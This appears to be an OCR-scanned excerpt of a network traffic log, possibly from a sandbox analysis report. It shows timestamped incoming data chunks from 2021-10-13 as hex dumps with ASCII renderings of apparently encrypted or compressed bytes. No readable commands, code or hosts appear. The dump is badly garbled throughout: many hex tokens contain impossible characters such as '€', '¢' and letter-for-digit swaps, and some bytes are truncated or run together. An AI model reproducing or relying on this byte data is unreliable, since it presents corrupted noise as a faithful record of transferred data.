2021-10-13 11:06:38 UTC 175 IN Data Raw: 64 b7 59 83 d0 57 f7 34 f9 c6 02 9f 03 80 1b 4c 36 b0 88 20 2f 27 25 46 c9 d3 0d 4e cb 20 b7 cO db c2 c3 f4 el
48 58 78 be 82 30 2d ed €0 1c 5 24 ¢1 97 a5 57 b3 ca 82 96 93 73 03 9b 2a df 2c eb 42 79 62 c5 f0 c0 62 b7 23 d9 2d ee
80 91 5a Oe 4f 2b 61 b3 f8 82 dd 9a c6 68 ef 11 ca 16 e2 53 8f ab ae 16 81 62 52 74 33 ea cd 79 39 c9 4d d0 bb 8b c8 a7
ed f8 63 95 53 36 17 61 10 Oc a3 9b b8 2d a9 39 cd 7a b9 29 e2 7e ad b6 bc 84 dc 82 77 33 69 1la b2 7c 11 5d 79 d4 31
7d cf 8e 3b 77 33 49 a4 f4 b9 €9 99 12 ae 8a d4 68 62 96 37 c5 1b 3b 8¢ 40 Of 7 d0 4a b9 44 bf cc db d6 11 9d 89 8e 96
06 7f f6 35 d2 3d al 23 a8 fe 72 03 f9 b5 d9 4f 89 ad 5d 92 9e 7f 48 05 a3 93 53 22 b6 f7 05 5d Oe 94 6b €9 b7 ca 54 25 1d
bb 68 76 d3 8b 4a 0a e8 2b ac b3 57 91 84 5f 11 40 5d
Data Ascii: dYWA4L6 /'%FN HXx0-$Ws* Bybb#-ZO+ahSbRt3y9McS6a-9z)~w3i|ly1};w3lhb7;@JID5=#rO]JHS" kT %hvI+W
_@]

2021-10-13 11:06:38 UTC 176 IN Data Raw: €8 36 f6 a9 07 85 39 2c 15 11 el f2 78 e4 8b a4 80 Oe ec de b0 c4 2d 8c d7 3e be c1 1a 60 4f ee 0Of fe 27 02 27
fb 63 66 a7 5c c6 8b b8 21 d1 34 b2 4d 46 8e 5d 0a 68 11 10 3c b1 18 01 c0 al 0f db 36 5¢ c2 b6 a7 d6 f9 78 a9 2f c6 1d
79 7c fe 85 6e 5e bf 09 11 3e d4 5a 2e 84 37 ac 42 ed 27 88 89 1d 76 7c 87 66 3f 54 4e 73 13 e7 63 8f b0 2e 28 b5 fd 9
15 d1 86 5f 92 54 96 58 a0 8d 22 73 b1 3d 80 76 ec b3 3d ed 37 Oe e6 4e c0 6¢ ae 2c 39 5a 9f bd 89 6d el d3 d8 3b el 61
2b 83 60 59 3d 7e 39 e4 c8 da 67 56 a3 a8 bb d4 c9 c8 ae 9e 21 71 df 46 35 bd 32 3f 69 6c ef da 5f ca 9e de 4c 98 27 c2
96 77 cf aa 09 6b aa 33 f7 0a ea 6a 80 84 8d 55 00 b9 e2 d7 0a 55 82 de 42 fa f9 bf 1a 63 3 fc b9 32 d1 70 84 13 82 a5
87 f4 b2 52 2e 60 7a d1 57 4b 07 ad 99 e3 8b el f8 bc
Data Ascii: 69,x->"0"cf\l4MF]h<6\x/y|n*>Z.7B'v|f?TNsc.(_TX"s=v=7NIl,9Zm;a+ Y=~9gV!qF527?il_L'wk3jUUBCc2pR. zZWK

2021-10-13 11:06:38 UTC 177 IN Data Raw: 29 d7 3c 4a 98 bd e0 45 bd ca ed 49 2c d4 93 9d 38 76 43 2b 71 al 5d 06 46 e5 ec c5 ca db dd 6 1d 4e 9e 89
cd 91 86 34 e7 10 01 b6 fb ec 35 da c0 7 d2 10 48 a4 8e 76 ef 8f 09 ee b7 5f b8 38 ab 2a 6e f1 el 40 68 af b9 bl 6e c6 b5
56 14 58 bf de 55 el 34 6e 51 12 f3 79 66 fd ef 37 ed 86 22 39 27 b2 d1 7f 82 72 a8 79 82 b6 be d5 c0 d5 f4 76 df 06 5a cb
64 3e b0 ec 40 12 f7 32 ¢1 80 34 a3 34 b5 64 c4 Oe 72 c1 95 28 c9 2c fc d3 27 7f b2 16 5a ff b6 c7 d7 2f ff 80 06 cd a5 dc
54 87 cd 64 83 db 95 c4 79 ef 86 5d dd bb 3a 69 8d 31 17 a9 6d 50 62 33 fd 5¢ 69 d1 b6 ab 62 2d 8a 82 a8 ef ee 63 51 c4
bd 9a 08 f6 7e 32 9a d3 22 ab 2f cd ed 2e 57 c4 00 4b 4c 31 85 50 8d 75 25 69 0d 23 02 3b 36 9f 62 6e 7d 62 81 39 71 2b
7a 17 e7 8 97 7f 64 20 8b 1a 67 60 80 37 52 8¢
Data Ascii: )<JEI,8vC+q]FN45Hv_8*n@hnVXU4nQyf7"9'ryvZd>@244dr(,'Z/Tdy]:ilmPb3\ib-cQ~2"/.WKL1Pu%i#;6b
n}b9g+zd g 7R

2021-10-13 11:06:38 UTC 178 IN Data Raw: 27 8f 85 ec be f1 cb ee b7 30 8c 2b 9c 5¢ d4 c9 6e 7f 04 5e 94 7f 8e 30 el ee 10 be 8e b3 28 1b 22 50 93 48 29
97 40 9c a6 90 ca ad 37 49 41 38 61 1e a6 af 19 aa fa f1 a5 af a2 Ob 90 3f 38 90 4e c5 82 36 8a ca 88 04 39 35 20 4d b0
87 5a 10 e0 5d 9f bl ed 22 20 84 b3 73 e4 00 05 99 7a 31 17 9d 85 e5 e2 e9 af a6 06 78 8f 14 f8 d1 32 e5 7 9e 57 94 cc
b3 f5f9 79 8e 89 92 ec 1c 9c el bf 81 7d ba 64 €0 1le 4d Oc b9 39 6f 10 74 6b €3 99 5a 74 8e c2 75 01 9d 4f c8 Oc e4 5f 31
7e 29 d7 aadc 42 c9 12 al c2 b7 7e ba 3b d6 93 9d ae e0 1d e4 95 45 22 7b f3 ¢8 f8 c¢7 ca db 4b 60 a0 c0 6¢ 6d b2 ec 50
7b f3 12 01 b6 6d 7a 84 23 24 13 ad 6d b0 cd 9a 74 ef 8f 9f 78 86 b4 4b dc d4 57 74 79 f5 42 68 af 2f 27 8d e5 50 b2 6b 25
83 78 41 e3 34 6e c7 84 94 91 96 19 90 4a b0 42
Data Ascii: '0+\n*0("PH)@71A8a?8N695 MZ]" sz1x2Wy}dM9otkZtuO_1~)B~;E"{K' ImP{mz#$mtxKWtyBh/Pk%xA4nJB

2021-10-13 11:06:38 UTC 179 IN Data Raw: f9 a0 35 52 1a e3 31 3d e6 3f c2 49 c4 44 03 fa d9 41 10 6d 34 3 33 5b 6f f5 48 d2 3 97 21 bf f9 78 b9 84 a6
44 5e 8a d0 5d 92 b9 65 7b 20 80 26 2e ed 77 e6 06 20 Oe b6 4c f3 84 ef 05 9f 60 86 e5 68 dO f6 4a 4e af 2a dd a3 44 07
9 55 1c 5¢c 5e b6 41 33 db ed cc d4 28 fb 5a 43 79 22 1f 20 87 19 17 fa 81 29 77 77 d9 06 6d 36 b5 b0 aa 32 64 7a da 10
€0 bb de bd a3 48 9f 00 86 62 c3 b5 0a 61 c9 b4 4c al de ae 01 b6 b9 62 1a 0d 4b ca e8 47 45 7f 8¢ 5¢ 21 ae d5 96 56 ab
14 ef 43 9e 83 20 a6 03 31 8b bc fd 5¢ 3b 9b 29 eb 59 a5 24 f5 52 fd 52 77 1c 49 83 75 f0 92 92 bd b6 56 8e ff 4f bl b6 88
77 a4 e8 25 ce be Oc 66 38 31 a9 41 7d 4f €9 90 f7 Oe 47 6e 5e 5d 8e 07 c2 9d 81 63 d5 b2 c¢7 70 c5 38 db 2e b8 el 97 36
2f 8b 93 85 8f 2e 65 13 62 f3 7d e4 f4 a4 7a 2¢c 78
Data Ascii: 5R1=?IDAmM43[oH!xD"e{ & w L' hIN*DU\*A3(ZCy" )wwm62dzHbalLbKGE\IVC 1\;)Y$SRRwIuVOw%f81A}OGn
A|cp8.6/.eb}z,x

2021-10-13 11:06:38 UTC 180 IN Data Raw: cb 14 ad 78 b5 Oc 48 6¢ d7 bd 4f 3f 94 d6 ed 75 47 2c Oa a3 62 f3 ¢5 c2 eb 77 d1 11 Ob 6d ae d5 63 77 2b 08
62 84 f0 55 40 02 e0 ac 10 b3 16 a3 23 59 1b bf 67 63 81 47 bb 02 d5 96 10 6e 69 3c 65 f4 cf 52 aa db 78 eb 4c ad 93 dO
52 7b 69 el 85 bc 57 e6 ec 21 30 c5 bc 7a 42 ac 2f e4 16 06 96 b9 7d 18 30 49 7e 6 70 d6 55 80 72 20 ba be 4a bf 97 dc
0b 40 d4 b2 4b f9 20 43 34 4f 1c 30 af 05 3b 1c e0 f5 49 4e 62 92 12 16 92 d8 c5 4c al 6¢ b8 f0 e2 2b 5d 22 03 e 85 cc
10 b2 cc 79 5f a0 c4 10 ec bl 1c ca 02 93 99 81 a6 f1 37 fd 03 b4 81 ad 36 28 7a 19 14 2b 40 d4 f1 bb 78 23 fc ce 01 db fb
ef 8e fe 06 Oa cc e4 07 25 e9 7f 6e 4a e2 88 4d 0d 25 df 2d 5¢ 92 d3 8b 9b ac 5a 8¢ 54 75 a5 09 a9 ¢7 77 02 81 59 7c 3e
8 a8 4a 42 89 90 47 d5 f8 98 46 53 d4 aa b2 ac 76 1d
Data Ascii: xHIO?uG,bwmcw+bU@#YgcGni<eRxLR{iW!0zB/}0l~pUr J@K C400;INbLI+]"y_76(z+@x#%nIM%-\ZTuwY|>J
BGFSv

2021-10-13 11:06:38 UTC 182 IN Data Raw: 2e 8f 19 4c 5d 96 84 50 1f 33 d5 f3 6b 32 b4 4d f6 50 14 cb 41 ef 93 63 18 6b bf 07 1c 10 ea 4f 22 af cb ab 52
cd 86 81 55 9 03 ad d8 4c 6d df 64 75 58 69 80 8c 00 3a 20 79 f6 13 53 d6 68 39 Oc 2b d4 b8 e5 b9 94 99 0 5d 99 dO 8e
60 fd 37 82 23 el a7 3d Of 99 24 89 a3 a2 bd a7 db b3 29 6f a2 f3 96 c8 89 cb 31 34 3f ca 23 ab c3 7a 2f 84 b5 e3 b8 Oc b6
bb 90 e5 67 4d 1a 82 b0 2e 22 e4 00 74 59 e8 96 10 f1 d3 d5 07 09 60 bb 42 8e c6 ab ac 08 f3 28 a5 99 46 91 f9 5f 8¢ ba
c6 cf a7 54 87 ef 55 ee 2a 6d 5a 51 dd c4 29 7c 61 9c 4b 8 3b 13 75 e1 d9 32 fd d0 73 ¢9 4c 99 38 78 06 2a 2 2d de 28
07 ae f9 5¢ 60 ab 9f b7 7 5b cb 22 4c ff 4e 48 ed cf 5f 8¢ 46 0f 55 f1 ea d1 45 8a 2e ba a2 7 33 99 09 a9 2b d4 41 08 83
6¢ 31 e5 2c f3 5a d0 03 39 fb 12 e9 cf a5 8f 65
Data Ascii: .L]P3k2MPAckO"RULMduXi: ySh9+] 74=$)01424z/gM."tY B(F_TU*mZQ)|aK;u2sL8x*-(\'["LNH_FUE.3+Al1,Z9%

2021-10-13 11:06:38 UTC 183 IN Data Raw: 97 8a 87 74 9a 85 8d 3f Of 1c 97 11 9a 63 bd b3 33 23 53 ff 12 15 c2 c0 bb 90 29 96 Oe a3 4a 20 95 b3 d6 80
d5 be 57 3f 90 37 43 e5 33 d4 8a ac ¢7 39 76 d9 59 8b 10 el b2 db d6 e3 87 29 68 60 d1 6f 9a 3b 99 c8 5f 63 fb b7 4e b9
3f c9 16 eb 7a 23 Oc df fe 31 a6 31 d9 6b 87 ef 51 01 2e 9c a3 4c 44 23 d0 80 91 cd 41 09 28 e8 d7 f5 77 ea 9a 84 cb 8e
b3 02 52 e2 ca 56 b1 80 a3 42 ee fd ad 0d 85 el 17 b9 85 93 94 86 6e 82 ae 83 81 bl b4 2c 8b 7a 43 0a af 05 d0 99 cc 8f
ae ef 5a f3 b6 ee eb 76 c7 2a 7a 5e 3f c9 47 68 e0 5¢ e9 7f f4 76 4b e8 {6 bc 65 b3 39 18 c6 52 ee 48 b1 dO de 9d 40 92 21
ad 10 5e a5 3a 1c 1e 00 e8 07 ad 1c f3 4e af 7d 06 74 3d 45 90 8a 82 4e 37 6¢ c8 63 04 3c 24 c4 4f cd 87 b8 57 b0 5a 79
b3 06 22 d7 8b 57 71 99 00 06 de 83 30 f1 9f 6e e5 89
Data Ascii: t?c3#S)J W?7C39vY)h'0;_cN?z#11kQ.LD#A(WRVBN,zCZv*z*?Gh\vKe9RH@!":N}{=EN7Ic<$OWZy"Wq0n
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2021-10-13 11:06:38 UTC 184 IN Data Raw: 6d Ob c1 b0 3a 7f 5f 21 4c 7b ff b6 56 db 90 d3 12 74 34 06 d9 92 80 3c cd ec 76 1c 1c 06 27 82 df a3 74 e6 80
€6 73 72 95 9b 57 c8 ca fe 38 27 87 €9 f2 58 82 b6 b5 d9 el f9 66 04 26 a5 6a 04 63 cf 19 83 4b 9a 06 78 09 84 b6 dd f9
7c 8d 8f 4c 17 17 62 12 65 d5 ff b7 69 61 e6 4f 60 50 8a 5e a7 1f ef 85 53 2f bd 73 4e 12 7c 4f 9a 2e 2d df 28 2b ef c5 57 5i
51 af 4e 4c 85 4a 82 13 27 8f 0f c8 02 8d 72 7b 60 13 7d 59 8e 1a 78 cd 78 fc e7 60 c6 9b 66 5d 8b 42 68 f9 82 d1 50 67
e3 5d 6f 0d Of 24 4b 2f 44 f5 d1 3d 43 6d 6d b9 a0 94 5e 89 {7 a3 d2 f5 b5 c5 bd 84 78 13 d7 b7 75 b8 88 3b 5d 10 8c 81
79 5d 80 ed 7d 20 72 00 04 cb Oe 66 6f 17 86 92 05 76 33 b9 d4 8e d2 1d 4a b8 9a ce df de 44 31 aa 5d 1a ba 5¢ 5d 41 4a
f9.09 ce a9 28 ac 09 53 4b c4 1d cb 87 8d 20 1e
Data Ascii: m:_!L{Vt4<v'tsrW8'Xf&jcKx|LbeiaO P"S/sN|O.-(+W_QNLJI'r{ }Yxx fIBhPglo$K/D=Cmm”xu;]y]} rfov3IJD1]\]AJ
(SK

2021-10-13 11:06:38 UTC 185 IN Data Raw: 38 c2 ad cb 33 f7 3c 40 c3 18 f6 4f 34 b2 18 c5 7d c1 26 43 64 bd 5f ¢4 1d b8 45 42 d2 2a 24 a0 8d 7e 08 5e 12
12 aablf8 a7 26 a9 71 3d 17 7f cO e4 a4 d4 6f 78 27 bc 20 el 11 9a b8 a6 6¢ 30 bc Ob 87 3e de fd c8 b8 49 4a 26 ce 25
01 8a 1f e0 7c 41 f5 d9 57 24 95 99 c4 61 2b b3 2c be b5 c9 5e 3 bb f8 b9 3a 77 94 98 a3 8f b4 73 b0 ad 66 4a 86 55 f3 ce
35 d5 e5 4c 56 6¢ a6 88 df ca el 5b 66 4e e3 24 db 39 77 61 00 13 86 33 57 98 35 c6 ca c9 63 54 35 a8 eb 70 2f 16 d0 78
13 53 dd 68 31 bf a4 3f 3c fc 09 77 3a 2c ce fc 4e d2 23 c0 00 77 23 08 ef 6f d3 d5 81 28 e8 Oc 84 86 1b 55 80 2e 04 ae 6d
b3 16 fc 40 78 fd bd 8c 63 2c 6¢ 5f 00 a8 96 3e 31 80 38 83 f6 24 52 ed f7 9c €9 31 ad df 8f 9b 5a 8f 3 6e bc b2 cc 08 23
4d c5 d1 25 5¢c a9 c9 e6 fd 06 ab 95 99 1a 4d
Data Ascii: 83<@04}&Cd_EB*$~"&g=0x" 10>1J&%|AW$a+, :wsfJUSLVI[IN$Owa3W5cT5p/xSh1?<w:,N#w#o(U.m@xc,|_
>18$R1Zn#M%\M

2021-10-13 11:06:38 UTC 187 IN Data Raw: 83 97 7e Ob e6 f1 €9 ef 81 ¢7 3d 49 f7 al 16 75 6d b2 38 50 e4 ce fa 03 77 6d df al c8 26 fc ae 23 95 58 8e b7
ef 25 97 19 84 99 5e 4b de d4 75 3e e3 €5 70 51 2d 70 8d f4 7c 47 69 49 82 ac 42 e2 37 77 c6 ba bf 74 83 e6 93 df 83 87
2310 26 1a 6¢ 75 d4 41 4f 2a €9 6d c2 12 c2 a9 d3 60 4a cf 73 b9 8e 20 ce d5 e1 a9 f9 7b c0 49 a2 31 al a4 82 87 72 cf
27 b9 29 88 2d 57 61 al 69 91 f1 91 92 9e 20 fO 2c 63 b3 2b 58 8¢ 64 ff 46 fb 1a d2 dc 38 e5 45 ec 5f cb 6¢ fa 6e 8¢ 56 4c
76 92 25 51 bb 33 96 da 7a 32 d5 4c 44 4b 80 cb c6 ec e2 40 1c 51 d4 06 83 Of fa 4f eb b9 1e 8c 3c cd 8c b9 dd dc 5a ae
cf 4d 8e cc dc 74 a4 68 fO 9e 66 39 a9 78 b9 37 34 ce 1f 3a c1 20 10 82 5e b8 1e 89 e2 5e 4a d5 e8 4a Ob 34 cb 1b 93 8f
ac Oc 96 25 c5 aa ba be 43 da b9 3f f5 al 6a 97 ad
Data Ascii: ~=lum8Pwm&#X%"Ku>pQ-p|GilB7wt#&IUAO*m"Js {I1r')-Wai ,c+XdF8E_InVLv%Q3z2LDK@QO<ZMthfox74:
MJJA%C?)

2021-10-13 11:06:38 UTC 188 IN Data Raw: 1b f6 €8 7f 9c 68 0f 45 b9 93 cd bd 2c 5f 5a f4 e3 b3 97 be 4d ad 21 25 el b5 2d 68 e7 30 e7 64 70 6e Oa 93 25
2393 67 b6 5f 6d 31 91 9c df 42 89 92 97 79 ba 3b f1 24 17 e2 43 36 8a 8d d8 84 26 2e 6e 06 e7 fb b2 e6 34 ad 00 07 8b
dd 04 cf ee 8a 5b 3d e3 dc 3d 64 4e ea 13 eb 8e 01 30 fa 62 71 98 5b 35 88 Ob 3e 62 30 81 59 28 af 69 Ob bf 11 c0 11 2c
11 26 c0 2f Oc f9 3d 90 c2 6e bl 62 fd 91 ab Ob cc 4b 69 73 fe 6b 7b fb b5 ba 11 a9 d4 1f 27 ee 34 65 48 12 20 08 8e 83
45 a6 8e 19 3d c6 4c 72 18 33 63 9a 9b f5 2d e4 ff 5¢ 30 05 81 10 90 2e ba b3 a9 03 22 89 83 92 8a c4 fb d2 25 af 3d 7c
e5 c6 d5 25 af 2b 38 5f 9c 1d 81 19 e5 b8 e8 72 eb 78 2f 26 45 8d 2e a9 3f be de 55 69 75 a7 9b e fe cd 85 ac 54 30 af
d5 41 35 8c 17 2c 69 c3 eb 46 62 3f 9c ea 48 7b 11 7c
Data Ascii: hE,_ZM!%-h0dpn%f#g_m1By;$C6&.n4[==dN0bg[5>b0Y (i,&=nbKisk{'4eH E=Lr3c-\0."%=|%+8_rx/&E.?U
iUTOAS,iFb?H{|

2021-10-13 11:06:38 UTC 189 IN Data Raw: 13 b8 87 00 4b 3c 07 2b f7 d2 c3 82 5e 21 b0 c8 6f d3 bf f9 a7 f8 c9 1le 52 {7 d0 21 8f 5a 29 63 d1 8e ca 17 e0
c9 54 6b f4 el bf 9a 53 70 b8 40 f1 b3 46 a9 92 62 14 95 c5 7e 6b c2 71 48 eb 89 c1 6e e2 dd ef 40 e2 d3 b4 8a 07 76 75
3e 1f b4 89 06 80 da 2d d2 9b da 13 e5 68 5f 39 8d 39 98 9f 2e ac 16 8f 92 9a fb 15 da ac e0 74 12 21 a8 1b 76 ae 97 Oe
ea 58 5d bb 2f 7f 2a 1c eb 4c 58 c1 af f1 9c 62 df 42 55 eb 74 46 d5 c6 e0 a5 4f 22 07 f5 78 b3 da 81 37 51 89 13 1c 35 a8
56 7e bl 68 c1 7d ee b7 a2 f1 4d d3 b5 74 db 22 41 c¢7 8b 39 d7 f8 {3 1c f4 37 1a a2 13 b9 c9 bl 6¢c e8 ab 71 72 9d fb e0
9b e6 ec 27 5a 9d 32 42 bb b5 41 d0 21 e4 31 06 7a a4 7b 4d 9d cf 2a a6 ce 9a c2 78 dc a3 b3 da 34 2e a0 87 ce 10 7d
62 84 4c 1d fc 9b 68 d4 ba 71 63 ac 8a 4f bd b3 e8 67
Data Ascii: K<+MoR!Z)cTkSp@Fb~kqHn@vu>-h_99.tlvX]/*LXbBUtFO"x7Q5V~h}Mt"A97Iqr'Z2BAl1z{M*x4.}bLhqcOg

2021-10-13 11:06:38 UTC 191 IN Data Raw: 78 29 a5 ef 3f 30 aa d3 5¢ el 57 ba 8c 7f €9 35 f3 2d 17 2f a3 a2 bb 7d af a8 91 87 €2 62 00 25 19 ea 16 4c 7a
ce 3e 94 80 28 5a cb 4d fd 80 8f 69 bd a9 c3 0b bc ¢5 a9 9e fa a7 2f 5a 6b 2d f5 df d1 5d d5 4d 1c 5b 29 Oa c8 6a a9 fd b0
d6 2d 75 6a 6e a9 9c f7 15 1e b6 01 a6 6f ce 21 28 c2 83 77 23 f2 05 5c¢ af 11 10 ce 20 d4 28 eb f6 ¢7 10 fb 57 dO e4 9a 92
6c 41 be ae 13 52 d7 fe c6 43 76 2b 8e 00 5f f7 e2 88 de 10 96 71 96 8d fO aa 9b d1 88 23 al e0 81 21 72 5¢c c7 94 ca €5
98 e4 47 8f 19 b6 61 c0 98 f7 ¢3 81 ee 30 36 32 bc 6¢ el 4b b3 6d 46 1b 20 db a7 85 24 88 4e cf 3a 60 b0 37 9f 42 ac 50
3ce2 0f ec e5 f8 d5 7e 62 7 bf 9a e2 5f bf ef f8 57 33 58 20 8a 17 ed cf af ac 1a 4b 79 93 92 12 29 36 2a 7d 9c d5 f8 52 3d
94 be b4 f3 2b d7 2d 6¢ 85 d8 6b 14 bd 34
Data Ascii: X)?0\W5-/}b%Lz>(ZMi/Zk-IM]j-ujno!(w#\ (WIARCv+_g#NGa062IKmF $N: 7BP<~b_W3X Ky)6*}R=+-Ik4

2021-10-13 11:06:38 UTC 192 IN Data Raw: c1 ed b0 be fb b3 Oe Oa 1a 4f 9b 48 2f 92 e4 b1 48 92 23 a8 c6 71 6a 38 12 1e f5 af 2b ad 87 e4 41 83 62 1f 31
28 9a bc f6 ¢5 e7 20 ad e4 b5 04 02 20 67 4d f0 87 df 10 af 5a 3a b3 83 22 0f 91 f2 73 ff 00 bf 99 c8 30 82 9f 23 e5 d5 fc
b6 a6 2a 78 7a 14 38 d6 c9 e7 e3 9e 52 81 3a b3 75 f9 c4 8e bb 90 89 1e fa el Ob 94 fc ba 1f e0 cd 4d 8e b3 5c 6d 28 74
58 f6 €8 5a 72 8f f4 75 8e 9f ec ca d0 e4 48 24 39 29 76 aa 99 42 cc 06 e4 c0 d9 7e 59 2e 77 93 5e ae 08 1c ea 97 88 20
43 f3 2b ee 26 ca d8 49 35 a0 5b 78 96 b0 71 50 12 e5 55 01 55 6d 6f 84 9e 26 f5 ae 3b b0 ec 8¢ 76 ee 9c 9f 3 86 78 5f
29 d6 37 74 df e2 6b 68 ea 2f f1 8¢ ec 53 11 69 18 82 ¢3 57 fc 34 Oe ¢6 01 94 63 80 9f 93 1c b0 cd 20 b9 26 99 47 3a d7
d0 4f 50 ff f3 cO 1b c3 fe f4 33 49 c6 72 d0 82 21
Data Ascii: OH/H#qj8+Ab1( gMZ:"s0#*xz8R:uM\m(tXZruH$9)vB~Y.w” C+&I5[xqPUUMo&;vx_)7tkh/Siw4c &G:OP3Ir!

2021-10-13 11:06:38 UTC 193 IN Data Raw: 5e €2 3d cc 3d b7 1d al f1 66 2f 84 12 7a 74 95 ad 5d 2¢ b9 52 65 20 80 8b 32 €0 7c 00 04 22 00 ae 73 f1 84
1b 09 cb 6e bb d4 d8 cd 49 44 0a 8e c4 ef 73 59 91 f9 89 12 80 42 cb 41 32 f2 d5 d2 d4 28 64 4e 60 54 c4 1d 72 8e 96 28
8 81 8¢ 5f f6 fa 32 6b be 98 01 b7 9b 45 25 fe 0d ¢3 2d de 30 8d 6¢ 93 7d 86 6a c9 59 22 61 c9 f2 43 4b f1 48 03 00 94 42
26 0f 4b ce c3 6b 6¢ 8a b8 ae 24 €6 cb 9b 74 fc 19 2d 4d 08 83 b7 ae 27 3d f6 bc 1a 7d fb 95 29 eb 71 86 4d fd b6 ff 2b 77
4e 6b 83 75 f5 92 01 bd 2b 57 6e fd 35 b1 c7 aa 72 a4 el 25 5a be 1c 61 d5 33 d6 41 fc 6d €6 90 f6 Oe c4 6e 82 5c 6a 05
a9 9d 39 41 d6 b2 dO 70 5c 38 8¢ 29 23 e3 fb 36 f4 a9 ef 85 9c 2e f2 13 €3 f2 88 6 8b a4 9e Of 6f de c1 d0 d4 8f bf 3e 42
c3 38 61 58 ee 98 fe e6 01 d6 f9 1c 66 9f 5e dd
Data Ascii: "==f/zt],Re 2|"snIDsYBA2(dN Tr(_2kE%-0I}jY"aCKHB&KKI$t-M'=})gM+wNku+Wn5r%Za3Amn\j9Ap\8)#
6.0>B8axf"

2021-10-13 11:06:38 UTC 194 IN Data Raw: ff 53 cc 3¢ 4f 6¢ al d4 5e 6¢ €9 Oc c2 87 9¢ 54 2¢ 24 el ac 16 b0 ab a2 97 49 f4 bd 1c 60 ce 6b 5f 33 dc 96 80
6d ad 39 42 c7 bb 52 68 f7 f5 ea 28 b8 04 dO dd 5b a6 0 0d 8d f9 cb ae 20 1b c6 96 48 56 a9 8d e7 46 05 ef a5 77 18 38
28 ea f6 2b f2 b7 02 0f 20 50 93 48 bf 97 dc 9d 40 92 b7 ad fb 5d 43 b0 67 1e 30 ab 05 ad 1c f3 d8 af 4c 1f 92 3f 38 91 d8
83 4b 37 6¢ c8 f5 0e 29 20 22 4d b0 87 cc 10 b2 5a 79 b9 90 b5 15 91 b1 73 e4 04 93 99 81 30 f1 9f f8 e5 b6 fc ad ac 06 df
Oc 14 2b d6 d4 e3 8a 9e 21 81 ce b3 f5 f9 ef 8e fe 91 0a a0 fb el 27 94 7f be 64 e0 88 4d 0d b3 df 6d 6d 74 d1 f7 9b 85 5¢
8e 54 75 a5 9b a9 ca 71 e4 83 24 7c 29 d7 aa 4a 48 89 5e 69 c0 ca 7e 44 2a d4 93 9d ae 76 1d 2a 97 a3 20 06 f9 e8 a0 f1
cadb 4b f6 a4 48 78 8b b0 91 50 39 e5 10 01
Data Ascii: S<OINT,$I'k_3m9BRh([ HVFw8(+ PH@]CgOL?8K7l) "MZys0+I'dMmmt\Tug$|)JH"i~D*v* KHxP9
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kBytes
Timestamp transferred Direction Data

2021-10-13 11:06:38 UTC 196 IN Data Raw: 13 17 bd 40 79 64 34 06 d4 eb 79 e8 61 8e a8 b8 13 8¢ 03 €8 Ob 4c c3 99 82 30 60 69 45 f0 02 5b 65 79 02 56
7d ac cb 3b 15 6e 7a e4 a2 b9 f2 dc 66 3a ce d4 00 27 80 75 14 1a a0 el 3d 4b 49 24 Oe ff 44 f9 9c db 06 56 6d ea b5 96
3f cf f7 57 94 3d d4 65 bf 9d 3e 2f el f3 75 de ce ad 3a d4 98 25 3c 20 c3 f7 2e 66 35 00 41 1a Oe d2 2a f1 c3 a8 05 41 27
bb b5 ¢9 d2 e9 0d Oa ed 6f dd c7 03 91 9c 18 1a dc 1b cb 26 11 fa ad 84 d4 6b 25 5a 15 03 c4 58 15 87 d8 7e f8 c6 61 77
a9 91 32 0a 98 b7 af e2 9b 26 30 da 74 a8 2d bb 60 91 c8 d5 7d el el e2 f5 43 61 8a 6b 4c bb 91 48 46 82 b9 c8 72 0f Oc
83 e8 99 Oc 8a df df 57 8¢ 94 c8 37 e0 5d ef 22 41 83 Oe ee e5 50 bf bc b6 37 39 fe 60 eb a9 ec 8f 94 fd ff 6d 3d 4d 28 cb
75 b4 d8 04 8 63 57 2e b7 32 f6 8f aa 3d ee €8 44
Data Ascii: @yd4yalL0'iE[eyV};nzf:'u=KI$DVm?W=e>/u:%< .f5A*A'0&k%ZX~aw2&0t-"}CakLHFrW7]"AP79 m=M(ucW.2=D

2021-10-13 11:06:38 UTC 197 IN Data Raw: 97 d3 46 fa f4 c6 ec 56 1la de c5 f3 66 bc 30 51 f5 45 bc 86 4c 8d 05 cd c8 56 bb f3 3d ff 3e b7 4d a8 4c 80 0d
69 74 13 58 49 98 68 fc a6 ad 22 27 da c6 d8 42 9b 71 ce 1d 4a 7a ba 29 42 c6 5¢ 5¢ 69 ad 81 11 17 5e f3 c0 4c 93 50 a3
96 35 ab 3c 4a 09 ae 91 91 77 af 68 84 c0 €9 55 47 4b e2 e4 74 b3 e7 ¢6 36 27 b4 d9 1a 24 86 1e ee 6b bb f2 €9 19 d6
50 f1 93 d3 36 7e 84 15 88 29 de 76 99 fd 5a c8 86 8c ec 83 a4 8d 44 43 b6 68 03 17 cd c9 a9 1b 63 30 c6 1a 79 54 49 bc
9e ce 96 d2 e6 Of 6¢ 3f f2 2¢ bf f5 b8 9d 23 f6 b7 ec 9f 39 43 6b 29 5f 01 €2 64 c¢3 7d 94 bd cb 4c 4d fb 55 56 f4 b9 a0 20
7a 0d a6 94 63 4c 44 22 2a d5 3 93 5¢ d3 29 0d fe ff 46 7b f7 d8 16 80 00 e0 fc f5 6f bd fe 8b 91 fb 93 ¢9 cf 60 11 7c 70 2b
a5 b1 93 d5 db 4f e0 ac df 90 9d ef e9 9b e4 55
Data Ascii: FVIOQELV=>MLitXIh"'BqJz)B\"LP5<JwhUGK16'$kP6~)vZDChcOyTII? #9Ck)_d}LMUV zcLD"*\)F{o"|p+OU

2021-10-13 11:06:38 UTC 198 IN Data Raw: 8f 83 98 4f 81 4b ad e5 a2 c4 dd c3 dd 88 12 1f 66 9b 59 ac 58 a3 Ob 46 04 dd fO 3f e7 c2 7c 9f 44 93 e5 48 3a
€800 56 12 aa 6d dc 9b f3 aa 1c al e7 a6 b8 c8 69 ea fb 1e 76 ef 06 3d Of 75 94 a6 Oc 7c d5 20 05 50 cd ad d3 b9 8b Oe
21 14 d4 6b 79 5e 1d 22 ff b8 6a cc 5b 8b 84 d4 32 87 62 c0 2b 4c f1 a5 f2 12 6b 08 60 d0 02 5d 45 0d 3f 5¢ 2e 89 fb 57 1d
65 1b ec 82 b9 f3 fc 12 02 cd al 04 Oe ce 56 3f 7f €3 c0 58 7b 50 54 39 d6 32 d6 be be 33 5e Oc cf 96 96 2d ec 83 6a a2 4f
d8 55 d6 9d 1d 5d ca d4 18 dd 88 ca 38 €6 c7 32 08 45 f2 fe 4f 4f 17 00 77 38 7a cb 38 82 el 9d 4b 68 0d de d4 e9 b7 ff
